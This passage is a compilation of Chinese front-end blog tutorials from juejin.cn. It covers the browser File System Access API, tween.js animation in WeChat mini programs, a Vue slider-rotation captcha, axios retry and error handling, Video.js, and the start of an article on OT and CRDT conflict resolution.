,这两位才是文件和文件夹实体的真正代言人。对实体的常规操作,几乎都是通过这两个紫憨豆来执行的。
除了从父类继承而来的基因,两个紫憨豆都各自具有独特的属性和方法,满足了开发者对文件和文件夹两种不同实体的不同操作需求。
FileSystemFileHandle
在本专栏的上一篇文章《绕过中间商,不用 input 标签也能搞定文件选择》中,我们曾与文件憨豆有过一面之缘。那时候,我们通过 showOpenFilePicker
获取了文件憨豆,并调用它的 getFile
方法拿到了 文件 Blob
。
此外,文件憨豆还具有的方法如下:
createSyncAccessHandle()
:用于同步读写文件,但是仅限于在 Web Workers 中。createWritable
:创建一个写入流对象,用于向文件写入数据。
FileSystemDirectoryHandle
文件夹憨豆的特有方法如下:
getDirectoryHandle()
:按名称查找子文件夹。getFileHandle()
:按名称查找子文件。removeEntry()
:按名称移除子实体。resovle()
:返回指向子实体的路径。
经过上述罗列,我们对两种憨豆的能力有了一个大概的印象。下面,我们将回到 Demo 的交互场景,从具体操作上手,看看文件系统 API 是如何在 JavaScript 中落地的。
操作 & 用法
载入文件夹
我们首先需要载入一个文件夹,然后才能对其中的子实体进行操作。
如果你碰巧读过上一篇文章,知道如何用 showOpenFilePicker()
选择文件,那你一定能举一反三推断出,选择文件夹的方法是 showDirectoryPicker()
:
const dirHandle = await showDirectoryPicker()
showDirectoryPicker
方法也接收一些参数,其中 id
、startIn
这两个参数与 showOpenFilePicker
方法 的同名参数完全对应。另外还支持一个参数 mode
,其值可以是 read
或 readwrite
,用于指定所需的权限。
用户选择文件夹后得到的 dirHandle
,就是一个 FileSystemDirectoryHandle
格式的对象。我们可以遍历出它的子实体:
for await (const sub of dirHandle.values()) {
const { name, kind } = sub
console.log(name, kind)
}
从子实体中取出名称和类别属性值,就可以对文件夹内容一目了然了。
读取文件内容
在上一步中,我们已经读取到了子实体的名字和类型,那么对于文件类型,我们可以先按名称检索到对应的憨豆:
// if sub.kind === 'file'
const fileHandle = await dirHandle.getFileHandle(sub.name)
再从文件憨豆中掏出文件 Blob,进一步读取到文件的内容:
const file = await fileHandle.getFile()
const content = file.text()
如果你用来调试的文件是文本内容的文件,那么打印 content
的值,你就可以看到内容文本了。
同理,获取子文件夹的方式是 dirHandle.getDirectoryHandle(sub.name)
。
新建文件、文件夹
除了指定名称参数,getFileHandle
和 getDirectoryHandle
这两个方法还支持第二个参数,是一个一个配置对象 { create: true/false }
,用于应对指定名称的实体不存在的情况。
例如,我们对一个文件夹实体执行 dirHandle.getFileHandle('fileA')
,但该文件夹中并没有名为 fileA 的文件。此时第二个参数为空,等同于 create
的默认值为 false
,那么此时会抛出一个 NotFoundError
错误,提示我们文件不存在。
而如果我们这样执行:dirHandle.getFileHandle('fileA', { create: true })
,那么就会在当前文件夹中新建一个名为 fileA 的空文件。
同理,我们也可以用 dirHandle.getDirectoryHandle('dirA', { create: true })
新建一个名为 dirA 的空文件夹。
在 Demo 中,我们实现了让用户在新建文件时自定义文件名,这其实是使用了 prompt
方法:
const fileName = prompt('请输入文件名')
await dirHandle.getFileHandle(fileName, { create: true })
在当下这个 AI 时代,Prompt 更多是以「LLM 提示词」被大家初识。在更早时候,它是浏览器实现的一个组件。其实这两种形态的含义是一致的,都是在人机交互中,从一端到另一端的输入输出流程。
编辑文件内容
刚刚我们读取了文件的内容,现在我们来对文件内容进行修改,然后再存回去。
我们已经能够通过 getFile()
方法拿到文本内容,那应该把内容放到哪里进行编辑呢?你有很多种选择:富文本编辑器、给 div 设置 contenteditable
、唤起 VS Code…… 但本着最(能)小(用)原(就)则(行),我们还有更便捷的选项 —— prompt!
prompt()
方法也支持第二个参数,我们把文本内容传入,弹出弹窗后,你就会看到内容已经填在了输入框中,现在就可以随意编辑里面的字符了。
const file = await fileHandle.getFile()
const fileContent = await file.text()
const newContent = prompt('', fileContent) // newContent 即为修改后的文件内容
但是点击 Prompt 的确认按钮并不会让新内容自动写入文件,这里就需要用到上面提到的 createWritable
了。下面是一个完整的写入流流程:
const writable = await fileHandle.createWritable() // 对待修改文件开启写入流
await writable.write(newContent) // 把新内容写入到文件
await writable.close() // 关闭写入流
至此,新的内容就已经被保存到文件中了。你可以在 Demo 中再次右键、打开文件查看内容,你会发现确实读取到了修改后的内容。
文件重命名
修改文件名也是文件管理中的常规操作,文件系统 API 也提供了对应的方法来实现。可能手快的同学已经在尝试 fileHandle.rename()
方法了。但 API 中还真没有这个方法,我们其实是要用一个 move()
方法。惊不惊喜意不意外?
因为从底层视角看,重命名文件和移动文件的处理过程类型,都是需要先新建一个文件(使用新的命名或者放到新的位置),再把源文件的数据复制过去,最后把源文件删除。目前在 Web 端还没有更高效的处理方式。
我们只需从 Prompt 获取新名称,再传给 move()
方法即可:
const newName = prompt('请输入新的文件名')
await fileHandle.move(newName)
这样,文件重命名就搞定了。
删除文件、文件夹
删除实体就没有那么多幺蛾子了,我们甚至不用对文件和文件夹做逻辑上的区分,简单直接地调用 currentHandle.remove({ recursive: true })
就行了。
但越是方便,就越要谨慎,因为涉及到删除用户的文件,所以如果要用于生产环境,最好给用户提供二次确认的机会。
写在结尾
恭喜你读完了本文,你真棒!
这次我们通过实现一个 Web 版文件管理器 demo,对文件管理 API 进行了较为深入的理解和实践。我再嘱咐两句:
- 涉及到操作用户文件,请务必谨慎。
- 为了保障安全性,文件系统 API 仅支持 https。
我是 Jax,在畅游 Web 技术领域的第 7 年,我仍然是坚定不移的 JavaScript 迷弟,Web 开发带给我太多乐趣。如果你也喜欢 Web 技术,或者想讨论本文内容,欢迎来聊!你可以通过下列方式找到我:
GitHub:github.com/JaxNext
微信:JaxNext
来源:juejin.cn/post/7416933490136252452
微信小程序避坑scroll-view,用tween.js实现吸附动画
背景
在开发一个小程序项目时,遇到一个需要列表滚动,松手时自动吸附的动画需求,如下(最终效果):
很自然用了scroll-view组件,但使用过程中发现scroll-view 里包含'position: fixed;top:0;'的元素时,应用scroll-with-animation=true,搭配更改scroll-top时,松手后fixed的元素会抖一下......
于是决定不用组件内置的scroll-with-animation,改用手动控制scroll-top实现吸附的效果。
思路
通常,要做动画,我们就得确定以下信息,然后用代码实现:
- 初始状态
- 结束状态
- 动画时长
- 动画过程状态如何变化(匀速/先加速后减速/...)
这四个信息一般从UI/交互那里确认,前三个代码实现很简单,第四个在css动画里(如transition/animation)用 timing-function
指定:
在js动画里,改变css的属性可通过 Web Animations API 里的 easing 属性指定:
而如果需要动画的状态不是css的属性呢(例如上面的scrollTop)?这就要用到补间/插值工具了,tween.js登场!
关于 tween.js
tween翻译有‘补间‘的意思
补间(动画)(来自 in-between)是一个概念,允许你以平滑的方式更改对象的属性。你只需告诉它哪些属性要更改,当补间结束运行时它们应该具有哪些最终值,以及这需要多长时间,补间引擎将负责计算从起始点到结束点的值。
简单点就是tweenjs可以指定状态从初始值到结束值该怎么变化,下面是简单的使用例子:
const box = document.getElementById('box') // 获取我们想要设置动画的元素。
const coords = {x: 0, y: 0} // 从 (0, 0) 开始
const tween = new TWEEN.Tween(coords, false) // 创建一个修改“坐标”的新 tween。
.to({x: 300, y: 200}, 1000) // 在 1 秒内移动到 (300, 200)。
.easing(TWEEN.Easing.Quadratic.InOut) // 使用缓动函数使动画流畅。
.onUpdate(() => {
// 在 tween.js 更新“坐标”后调用。
// 使用 CSS transform 将 'box' 移动到 'coords' 描述的位置。
box.style.setProperty('transform', 'translate(' + coords.x + 'px, ' + coords.y + 'px)')
})
.start() // 立即开始 tween。
// 设置动画循环。
function animate(time) {
tween.update(time)
requestAnimationFrame(animate)
}
requestAnimationFrame(animate)
- 完整用法请看tween.js 用户指南
在微信小程序里使用tween.js
导入适配
下载 github.com/tweenjs/twe… 文件,修改下‘now’的实现,把performance.now()
改成Date.now()
即可在小程序里使用:
动画循环
小程序里没有直接支持requestAnimationFrame
,这个可以用canvas组件的requestAnimationFrame方法代替:
// wxml
// ...
<canvas type="2d" id="canvas" style="width: 0; height: 0; pointer-events: none; position: fixed"></canvas>
// ...
// js
wx.createSelectorQuery()
.select("#canvas")
.fields({
node: true,
})
.exec((res) => {
this.canvas = res[0].node;
});
// ...
// ...
const renderLoop = () => {
TWEEN.update();
this.canvas.requestAnimationFrame(renderLoop);
};
renderLoop();
其他
锁帧
手动改scrolltop还是得通过setData方法,频繁调用可能会导致动画卡顿,requestAnimationFrame一般1s跑60次,也就是60fps,根据需要可以增加锁帧逻辑:
const fps = 30; // 锁30fps
const interval = 1000 / fps;
let lastTime = Date.now();
const renderLoop = () => {
this.canvas.requestAnimationFrame(renderLoop);
const now = Date.now();
if(now - lastTime > interval){
// 真正的动作在这里运行
TWEEN.update();
lastTime = now;
}
};
renderLoop();
官方支持?
要是 scrollView 组件支持 wxs 更改scrollTop就好了
developers.weixin.qq.com/community/d…
来源:juejin.cn/post/7300771357523820594
前端滑块旋转验证登录
效果图如下
实现: 封装VerifyImg组件
<template>
<el-dialog v-model="dialogShow" width="380px" top="24vh" class="verifyDialog">
<div class="verify-v">
<div
class="check"
@mousedown="onMouseDown"
@mouseup="onMouseUp"
@mousemove="onMouseMove"
@touchstart="onTouchStart"
@touchmove="onTouchMove"
@touchend="onTouchEnd"
>
<p>拖动滑块使图片角度为正</p>
<div class="img-con">
<img :src="imgUrl" :style="{ transform: imgAngle }" />
<div v-if="showError" class="check-state">验证失败</div>
<div v-else-if="showSuccess" class="check-state">验证成功</div>
<div v-else-if="checking" class="check-state">验证中</div>
</div>
<div
ref="sliderCon"
class="slider-con"
:class="{ 'err-anim': showError }"
:style="{ '--percent': percent, '--bgColor': showError ? bgError : bgColor }"
>
<div ref="slider" class="slider" id="slider" :class="{ sliding }" :style="{ '--move': `${slidMove}px` }">
<el-icon size="22"><Right id="slider" /></el-icon>
</div>
</div>
</div>
</div>
</el-dialog>
</template>
<script>
export default {
data() {
return {
imgUrl: '',
dialogShow: false,
showError: false,
showSuccess: false,
checking: false,
sliding: false,
slidMove: 0,
percent: 0,
sliderConWidth: 0,
bgColor: 'rgba(25, 145, 250, 0.2)',
bgError: 'rgba(255,78,78,0.2)',
imgList: [
new URL(`../../assets/images/verify/fn1.png`, import.meta.url).href,
new URL(`../../assets/images/verify/fn2.png`, import.meta.url).href,
new URL(`../../assets/images/verify/fn3.png`, import.meta.url).href
]
}
},
computed: {
angle() {
let sliderConWidth = this.sliderConWidth ?? 0
let sliderWidth = this.sliderWidth ?? 0
let ratio = this.slidMove / (sliderConWidth - sliderWidth)
return 360 * ratio
},
imgAngle() {
return `rotate(${this.angle}deg)`
}
},
mounted() {
this.imgUrl = this.imgList[this.rand(0, 2)]
},
methods: {
onTouchMove(event) {
console.log('onTouchMove')
if (this.sliding && this.checking === false) {
// 滑块向右的平移距离等于鼠标移动事件的X坐标减去鼠标按下时的初始坐标。
let m = event.touches[0].clientX - this.sliderLeft
if (m < 0) {
// 如果m小于0表示用户鼠标向左移动超出了初始位置,也就是0
// 所以直接等于 0,以防止越界
m = 0
} else if (m > this.sliderConWidth - this.sliderWidth) {
// 滑块向右移动的最大距离是滑槽的宽度减去滑块的宽度。
// 因为css的 translateX 函数是以元素的左上角坐标计算的
// 所以要减去滑块的宽度,这样滑块在最右边时,才不会左上角和滑槽右上角重合。
m = this.sliderConWidth - this.sliderWidth
}
this.slidMove = m
console.log(this.slidMove)
this.percent = ((this.slidMove / document.querySelector('.slider-con').offsetWidth) * 100).toFixed(2) + '%'
}
},
onTouchEnd() {
console.log('onTouchEnd')
if (this.sliding && this.checking === false) {
this.checking = true
this.validApi(this.angle)
.then(isok => {
if (isok) {
this.showSuccess = true
} else {
this.showError = true
}
return new Promise((resolve, reject) => {
// setTimeout(() => {
if (isok) {
resolve(Math.round(this.angle))
} else {
reject()
}
setTimeout(() => {
this.resetSlider()
}, 1000)
// }, 1500)
})
})
.then(angle => {
// 处理业务,或者通知调用者验证成功
console.log(angle)
this.$emit('toLogin')
})
.catch(e => {
console.log(e)
// alert('旋转错误')
})
}
},
onTouchStart(event) {
console.log('onTouchStart', event)
// 设置状态为滑动中
this.sliding = true
// 下面三个变量不需要监听变化,因此不放到 data 中
this.sliderLeft = event.touches[0].clientX // 记录鼠标按下时的x位置
this.sliderConWidth = this.$refs.sliderCon.clientWidth // 记录滑槽的宽度
this.sliderWidth = this.$refs.slider.clientWidth // 记录滑块的宽度
console.log(this.sliderLeft, this.sliderConWidth, this.sliderWidth)
},
rand(m, n) {
return Math.ceil(Math.random() * (n - m + 1) + m - 1)
},
showVerify() {
this.imgUrl = this.imgList[this.rand(0, 2)]
this.dialogShow = true
},
closeVerify() {
//1.5s后关闭弹框
setTimeout(() => {
this.dialogShow = false
}, 1500)
},
// 重置滑块
resetSlider() {
this.sliding = false
this.slidMove = 0
this.checking = false
this.showSuccess = false
this.showError = false
this.percent = 0
},
//拖拽开始
onMouseDown(event) {
console.log(event.target.id, this.checking)
if (event.target.id !== 'slider') {
return
}
if (this.checking) return
// 设置状态为滑动中
this.sliding = true
// 下面三个变量不需要监听变化,因此不放到 data 中
this.sliderLeft = event.clientX // 记录鼠标按下时的x位置
this.sliderConWidth = this.$refs.sliderCon.clientWidth // 记录滑槽的宽度
this.sliderWidth = this.$refs.slider.clientWidth // 记录滑块的宽度
},
//拖拽停止
onMouseUp(event) {
if (this.sliding && this.checking === false) {
this.checking = true
this.validApi(this.angle)
.then(isok => {
if (isok) {
this.showSuccess = true
} else {
this.showError = true
}
return new Promise((resolve, reject) => {
// setTimeout(() => {
if (isok) {
resolve(Math.round(this.angle))
} else {
reject()
}
setTimeout(() => {
this.resetSlider()
}, 1000)
// }, 1500)
})
})
.then(angle => {
// 处理业务,或者通知调用者验证成功
console.log(angle)
this.$emit('toLogin')
})
.catch(e => {
console.log(e)
// alert('旋转错误')
})
}
},
//拖拽进行中
onMouseMove(event) {
if (this.sliding && this.checking === false) {
// 滑块向右的平移距离等于鼠标移动事件的X坐标减去鼠标按下时的初始坐标。
let m = event.clientX - this.sliderLeft
if (m < 0) {
// 如果m小于0表示用户鼠标向左移动超出了初始位置,也就是0
// 所以直接等于 0,以防止越界
m = 0
} else if (m > this.sliderConWidth - this.sliderWidth) {
// 滑块向右移动的最大距离是滑槽的宽度减去滑块的宽度。
// 因为css的 translateX 函数是以元素的左上角坐标计算的
// 所以要减去滑块的宽度,这样滑块在最右边时,才不会左上角和滑槽右上角重合。
m = this.sliderConWidth - this.sliderWidth
}
this.slidMove = m
this.percent = ((this.slidMove / document.querySelector('.slider-con').offsetWidth) * 100).toFixed(2) + '%'
}
},
// 验证角度是否正确
validApi(angle) {
return new Promise((resolve, reject) => {
// 模拟网络请求
setTimeout(() => {
// 图片已旋转的角度
const imgAngle = 90
// 图片已旋转角度和用户旋转角度之和
let sum = imgAngle + angle
// 误差范围
const errorRang = 20
// 当用户旋转角度和已旋转角度之和为360度时,表示旋转了一整圈,也就是转正了
// 但是不能指望用户刚好转到那么多,所以需要留有一定的误差
let isOk = Math.abs(360 - sum) <= errorRang
resolve(isOk)
}, 1000)
})
}
}
}
</script>
<style lang="scss">
.verifyDialog {
.el-dialog__body {
padding: 15px !important;
}
}
</style>
<style lang="scss" scoped>
.verify-v {
display: flex;
justify-content: center;
align-items: center;
}
.check {
--slider-size: 40px;
width: 300px;
background: white;
box-shadow: 0px 0px 12px rgb(0 0 0 / 8%);
border-radius: 5px;
padding: 10px 0;
display: flex;
flex-direction: column;
align-items: center;
.img-con {
position: relative;
overflow: hidden;
width: 120px;
height: 120px;
border-radius: 50%;
margin-top: 20px;
img {
width: 100%;
height: 100%;
user-select: none;
}
.check-state {
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.5);
color: white;
position: absolute;
top: 0;
left: 0;
display: flex;
justify-content: center;
align-items: center;
}
}
}
.check .slider-con {
width: 80%;
height: var(--slider-size);
border-radius: 3px;
margin-top: 1rem;
position: relative;
background: #f5f5f5;
box-shadow: 0 0 5px rgba(0, 0, 0, 0.1) inset;
background: linear-gradient(to right, var(--bgColor) 0%, var(--bgColor) var(--percent), #fff var(--percent), #fff 100%);
.slider {
&:hover {
background: #1991fa;
color: #fff;
}
background: #fff;
width: var(--slider-size);
height: var(--slider-size);
border-radius: 3px;
box-shadow: 0 0 5px rgba(0, 0, 0, 0.2);
cursor: move;
display: flex;
justify-content: center;
align-items: center;
--move: 0px;
transform: translateX(var(--move));
.sliding {
background: #4ed3ff;
}
}
}
.slider-con.err-anim {
animation: jitter 0.5s;
.slider {
background: #ff4e4e;
}
}
body {
padding: 0;
margin: 0;
background: #fef5e0;
}
@keyframes jitter {
20% {
transform: translateX(-5px);
}
40% {
transform: translateX(10px);
}
60% {
transform: translateX(-5px);
}
80% {
transform: translateX(10px);
}
100% {
transform: translateX(0);
}
}
</style>
使用
<VerifyImg ref="verifyRef" @to-login="handleLogin"></VerifyImg>
handleLogin(){
...
}
来源:juejin.cn/post/7358004857889275958
API接口超时,网络波动,不要一直弹Alert了!
前言
前段时间,我司的IoT平台的客户大量上新了一堆设备后,在使用过程中,出现了网络连接超时
,服务器错误
等问题,客户小题大做,抓着这个尾巴不放手,喷我司系统不健壮,要求我们杜绝API错误
。
由于IoT多是日志、设备、测试、Action、图表、通信类的功能,API请求&返回数据量大、时间长
。在后端添加索引的情况下,接口仍然达不到秒级,接口普遍都是1~3s
,部分接口甚至达到小10s。我司把服务器的硬盘和CPU都进行了一波升级,效果都不是很理想。
这个烫手的山芋,落在了前端的头上。我们被迫进行了一波系统升级优化
前段时间,我司的IoT平台的客户大量上新了一堆设备后,在使用过程中,出现了网络连接超时
,服务器错误
等问题,客户小题大做,抓着这个尾巴不放手,喷我司系统不健壮,要求我们杜绝API错误
。
由于IoT多是日志、设备、测试、Action、图表、通信类的功能,API请求&返回数据量大、时间长
。在后端添加索引的情况下,接口仍然达不到秒级,接口普遍都是1~3s
,部分接口甚至达到小10s。我司把服务器的硬盘和CPU都进行了一波升级,效果都不是很理想。
这个烫手的山芋,落在了前端的头上。我们被迫进行了一波系统升级优化
解决方案
我们结合这个需求,制定了以下几条标准:
- 不能入侵其他的功能
- 对系统的破坏尽可能的小
- 杜绝或者尽可能的减少弹框问题
- 保证数据的正确展示,对于错误要正确的暴露出来
根据以上几条标准,于是方案就自然的确定了:
我们结合这个需求,制定了以下几条标准:
- 不能入侵其他的功能
- 对系统的破坏尽可能的小
- 杜绝或者尽可能的减少弹框问题
- 保证数据的正确展示,对于错误要正确的暴露出来
根据以上几条标准,于是方案就自然的确定了:
API请求时间
拉长API的请求时间
,将超时时间由30s,更新为60s
const service = axios.create({
baseURL: '/xxx',
timeout: 60 * 1000 // 请求超时时间
})
拉长API的请求时间
,将超时时间由30s,更新为60s
const service = axios.create({
baseURL: '/xxx',
timeout: 60 * 1000 // 请求超时时间
})
重发机制
- API请求超时: 当新页面大量接口请求,某个接口请求时间过长,总时间
>60s
时,我们会对这个接口进行至多重发3次
,用180s的时间去处理这个接口,当请求成功后,关闭请求
重发的接口不能超过timeout时长,否则一直会重发失败。也可以自定义重发的时间
- 偶发的服务器异常: 当接口出现50X时,重发一次
可以使用axois自带的方法,也可以使用axios-retry
插件,axios-retry
插件更简单,底层也是axois方法实现的。相比较而言,axios-retry更简单,但不知为什么,我没有实现
// request.js
// 默认重发3次,每次的间隔时间为3s
service.defaults.retry = 3;
service.defaults.retryDelay = 3000;
export function againRequest(
error,
axios,
time = error.config.retry
) {
const config = error.config;
if (!config || !config.retry) return Promise.reject(error);
// 设置用于记录重试计数的变量 默认为0
config.__retryCount = config.__retryCount || 0;
// 判断是否超过了重试次数
if (config.__retryCount >= time) {
// alert
return Promise.reject(error);
}
config.__retryCount += 1;
const backoff = new Promise(resolve => {
setTimeout(() => {
resolve();
}, config.retryDelay || 1);
});
return backoff.then(() => {
/*
以下三行,根据项目实际调整
这三行是处理重发请求接口变成string,并且重定向的问题
*/
if (config.data && isJsonStr(config.data)) {
config.data = JSON.parse(config.data);
}
config.baseURL = "/";
return axios(config);
});
}
export let isLoop = config => {
if (
config.isLoop &&
config.isLoop.count >= 0 &&
config.url == config.isLoop.url
) {
return true;
}
return false;
};
export let isJsonStr = str => {
if (typeof str == "string") {
try {
var obj = JSON.parse(str);
if (typeof obj == "object" && obj) {
return true;
} else {
return false;
}
} catch (e) {
console.log("error: " + str + "!!!" + e);
return false;
}
}
};
注意到是: axois不能是0.19.x
issue中提到使用0.18.0。经过实践,0.20.x也是可以的,但需要进行不同的配置,具体请看issue。参考资料中有提到 axios issues github
- API请求超时: 当新页面大量接口请求,某个接口请求时间过长,总时间
>60s
时,我们会对这个接口进行至多重发3次
,用180s的时间去处理这个接口,当请求成功后,关闭请求
重发的接口不能超过timeout时长,否则一直会重发失败。也可以自定义重发的时间
- 偶发的服务器异常: 当接口出现50X时,重发一次
可以使用axois自带的方法,也可以使用axios-retry
插件,axios-retry
插件更简单,底层也是axois方法实现的。相比较而言,axios-retry更简单,但不知为什么,我没有实现
// request.js
// 默认重发3次,每次的间隔时间为3s
service.defaults.retry = 3;
service.defaults.retryDelay = 3000;
export function againRequest(
error,
axios,
time = error.config.retry
) {
const config = error.config;
if (!config || !config.retry) return Promise.reject(error);
// 设置用于记录重试计数的变量 默认为0
config.__retryCount = config.__retryCount || 0;
// 判断是否超过了重试次数
if (config.__retryCount >= time) {
// alert
return Promise.reject(error);
}
config.__retryCount += 1;
const backoff = new Promise(resolve => {
setTimeout(() => {
resolve();
}, config.retryDelay || 1);
});
return backoff.then(() => {
/*
以下三行,根据项目实际调整
这三行是处理重发请求接口变成string,并且重定向的问题
*/
if (config.data && isJsonStr(config.data)) {
config.data = JSON.parse(config.data);
}
config.baseURL = "/";
return axios(config);
});
}
export let isLoop = config => {
if (
config.isLoop &&
config.isLoop.count >= 0 &&
config.url == config.isLoop.url
) {
return true;
}
return false;
};
export let isJsonStr = str => {
if (typeof str == "string") {
try {
var obj = JSON.parse(str);
if (typeof obj == "object" && obj) {
return true;
} else {
return false;
}
} catch (e) {
console.log("error: " + str + "!!!" + e);
return false;
}
}
};
注意到是: axois不能是0.19.x
issue中提到使用0.18.0。经过实践,0.20.x也是可以的,但需要进行不同的配置,具体请看issue。参考资料中有提到 axios issues github
也可以使用axios-retry
npm install axios-retry
// ES6
import axiosRetry from 'axios-retry';
axiosRetry(axios, { retries: 3 });
取消机制
当路由发生变化时,取消上一个路由正在请求的API接口
监控路由页面: 调用cancelAllRequest方法
// request.js
const pendingRequests = new Set();
service.cancelAllRequest = () => {
pendingRequests.forEach(cancel => cancel());
pendingRequests.clear();
};
轮询
轮询有2种情况,一种是定时器不停的请求,一种是监听请求N次后停止。
比如: 监听高低电平的变化 - 如快递柜的打开&关闭。
- 一直轮询的请求:
- 使用WebSocket
- 连续失败N次后,谈框。
- 轮询N次的请求:
- 连续失败N次后,谈框。
- 连续失败N次后,谈框。
export function api(data, retryCount) {
return request({
url: `/xxx`,
method: "post",
isLoop: {
url: "/xxx",
count: retryCount
},
data: { body: { ...data } }
});
}
自定义api url的原因是:
同一个页面中,有正常的接口和轮询的接口,url是区分是否当前的接口是否是轮询的接口
监听滚动
对于图表类的功能,监听滚动事件,根据不同的高度请求对应的API
节流机制
- 用户连续多次请求同一个API
- 按钮loading。最简单有效
- 保留最新的API请求,取消相同的请求
- 用户连续多次请求同一个API
- 按钮loading。最简单有效
- 保留最新的API请求,取消相同的请求
错误码解析
网络错误 & 断网
if (error.toString().indexOf("Network Error") !== -1) {
if (configData.isLoop && configData.isLoop.count >= 0) {
networkTimeout();
// 关闭所有的定时器
let t = setInterval(function() {}, 100);
for (let i = 1; i <= t; i++) {
clearInterval(i);
}
return;
}
networkTimeout();
}
if (error.toString().indexOf("Network Error") !== -1) {
if (configData.isLoop && configData.isLoop.count >= 0) {
networkTimeout();
// 关闭所有的定时器
let t = setInterval(function() {}, 100);
for (let i = 1; i <= t; i++) {
clearInterval(i);
}
return;
}
networkTimeout();
}
404
else if (error.toString().indexOf("404") !== -1) {
// 404
}
else if (error.toString().indexOf("404") !== -1) {
// 404
}
401
else if (error.toString().indexOf("401") !== -1) {
// 清除token,及相应的数据,返回到登录页面
}
else if (error.toString().indexOf("401") !== -1) {
// 清除token,及相应的数据,返回到登录页面
}
超时
else if (error.toString().indexOf("Error: timeout") !== -1) {
if (!axios.isCancel(error) && !isLoop(configData)) {
return againRequest(error, service);
}
if (configData.isLoop && configData.isLoop.count === 3) {
requestTimeout();
}
}
else if (error.toString().indexOf("Error: timeout") !== -1) {
if (!axios.isCancel(error) && !isLoop(configData)) {
return againRequest(error, service);
}
if (configData.isLoop && configData.isLoop.count === 3) {
requestTimeout();
}
}
50X
else if (error.toString().indexOf("50") !== -1) {
if (!axios.isCancel(error) && !isLoop(configData)) {
return againRequest(error, service, 1, 2);
}
if (configData.isLoop && configData.isLoop.count === 1) {
requestTimeout();
}
}
else if (error.toString().indexOf("50") !== -1) {
if (!axios.isCancel(error) && !isLoop(configData)) {
return againRequest(error, service, 1, 2);
}
if (configData.isLoop && configData.isLoop.count === 1) {
requestTimeout();
}
}
未知错误
else {
// 未知错误,等待以后解析
}
else {
// 未知错误,等待以后解析
}
总结
结果将状态码梳理后,客户基本看不到API错误了,对服务的稳定性和可靠性非常满意,给我们提出了表扬和感谢。我们也期待老板升职加薪!
参考资料
作者:高志小鹏鹏
来源:juejin.cn/post/7413187186131533861
来源:juejin.cn/post/7413187186131533861
Video.js:视频播放的全能解决方案
大家好,我是徐徐。今天跟大家分享一款多媒体类前端工具库:Video.js。
前言
在现代网页开发中,视频播放功能已经成为用户体验的一个重要组成部分。无论你是开发一个视频分享平台还是一个简单的博客,选择合适的视频播放器都至关重要。今天,我们要介绍的 Video.js
是一个强大且灵活的 HTML5 视频播放器,它能够满足你对视频播放的所有需求。
基本信息
- 官网:videojs.com
- GitHub:github.com/videojs/vid…
- Star:37.8K
- 类别:多媒体
什么是 Video.js?
Video.js
是一个从零开始为 HTML5 世界打造的网页视频播放器。它不仅支持 HTML5 视频和现代流媒体格式,还支持 YouTube 和 Vimeo。自2010年中期项目启动以来,Video.js
已经发展成为一个拥有数百名贡献者并广泛应用于超过** 80 **万个网站的播放器。
主要特点
- 全能播放:
Video.js
支持传统的视频格式,如 MP4 和 WebM,同时也支持自适应流媒体格式,如 HLS 和 DASH。对于直播流,Video.js
还提供了专门的用户界面,使直播体验更加流畅。 - 易于定制:虽然
Video.js
自带的播放器界面已经非常美观,但它的设计也考虑到了可定制性。通过简单的 CSS 你可以轻松地为播放器增添个人风格,使其更符合你的网页设计需求。 - 丰富的插件生态:当你需要额外功能时,
Video.js
的插件架构能够满足你的需求。社区已经开发了大量的插件和皮肤,包括 Chromecast、IMA 以及 VR 插件,帮助你快速扩展播放器的功能。
使用场景
Video.js
适用于各种视频播放场景:
- 视频分享平台:无论是播放本地视频还是流媒体内容,
Video.js
都能提供稳定的播放体验。 - 直播应用:通过专用的直播流 UI,
Video.js
能够实现高质量的实时视频播放。 - 教育和培训平台:支持多种格式和流媒体,确保你的教学视频能够在不同设备上顺畅播放。
快速上手
要在你的网页中使用 Video.js
,只需以下简单步骤:
- 引入
Video.js
的库:
<link href="https://unpkg.com/video.js/dist/video-js.min.css" rel="stylesheet">
<script src="https://unpkg.com/video.js/dist/video.min.js">script>
<link href="https://unpkg.com/video.js@8.17.3/dist/video-js.min.css" rel="stylesheet">
<script src="https://unpkg.com/video.js@8.17.3/dist/video.min.js">script>
<link href="https://cdnjs.cloudflare.com/ajax/libs/video.js/8.17.3/video-js.min.css" rel="stylesheet">
<script src="https://cdnjs.cloudflare.com/ajax/libs/video.js/8.17.3/video.min.js">script>
- 添加视频播放器元素:
<video
id="my-player"
class="video-js"
controls
preload="auto"
poster="//vjs.zencdn.net/v/oceans.png"
data-setup='{}'>
<source src="//vjs.zencdn.net/v/oceans.mp4" type="video/mp4">source>
<source src="//vjs.zencdn.net/v/oceans.webm" type="video/webm">source>
<source src="//vjs.zencdn.net/v/oceans.ogv" type="video/ogg">source>
<p class="vjs-no-js">
To view this video please enable JavaScript, and consider upgrading to a
web browser that
<a href="https://videojs.com/html5-video-support/" target="_blank">
supports HTML5 video
a>
p>
video>
- 初始化播放器:
var player = videojs('my-video');
就这样,你就可以在网页上嵌入一个功能丰富的视频播放器了。
该videojs
函数还接受一个options
对象和一个回调:
var options = {};
var player = videojs('my-player', options, function onPlayerReady() {
videojs.log('Your player is ready!');
// In this context, `this` is the player that was created by Video.js.
this.play();
// How about an event listener?
this.on('ended', function() {
videojs.log('Awww...over so soon?!');
});
});
结语
Video.js
是一个功能强大且灵活的视频播放器,它支持多种视频格式和流媒体协议,并且具有丰富的插件生态和良好的定制性。无论你是构建一个视频分享平台还是需要实现高质量的直播播放,Video.js
都能为你提供稳定且可扩展的解决方案。
希望这篇文章能帮助你了解 Video.js
的强大功能,并激发你在项目中使用它的灵感,这么好的东西,赶快分享给你的朋友们吧!
来源:juejin.cn/post/7411046020840964131
文档协同软件是如何解决编辑冲突的?
前言
本文将介绍在线协同文档编辑器是如何解决冲突的,大部分公司在解决冲突上目前用的都是 OT 算法,与之对应,也有一个 CRDT 算法实现。接下来,我们将深入这两种算法的实现及原理。
解决冲突的方案
在线协同文档编辑器通常使用不同的算法来解决冲突,具体算法取决于编辑器的实现和设计。以下是一些常见的解决冲突的算法:
- OT(Operational Transformation,操作转换):这是一种常见的解决冲突的算法,用于实现实时协同编辑。OT算法通过将用户的编辑操作转换为操作序列,并在多个用户同时编辑时进行
操作转换
,以确保最终的文档状态一致。 - CRDT(Conflict-free Replicated Data Type,无冲突复制数据类型):
这是一种基于数据结构的解决冲突的算法
,它允许多个用户在不同的副本上进行并发
编辑,并最终将编辑结果合并为一致的文档状态。CRDT算法通过设计特定的数据结构和操作规则来实现冲突自由的复制。
这些算法都有各自的优缺点,并且在不同的场景和需求下可能更适合不同的编辑器实现。
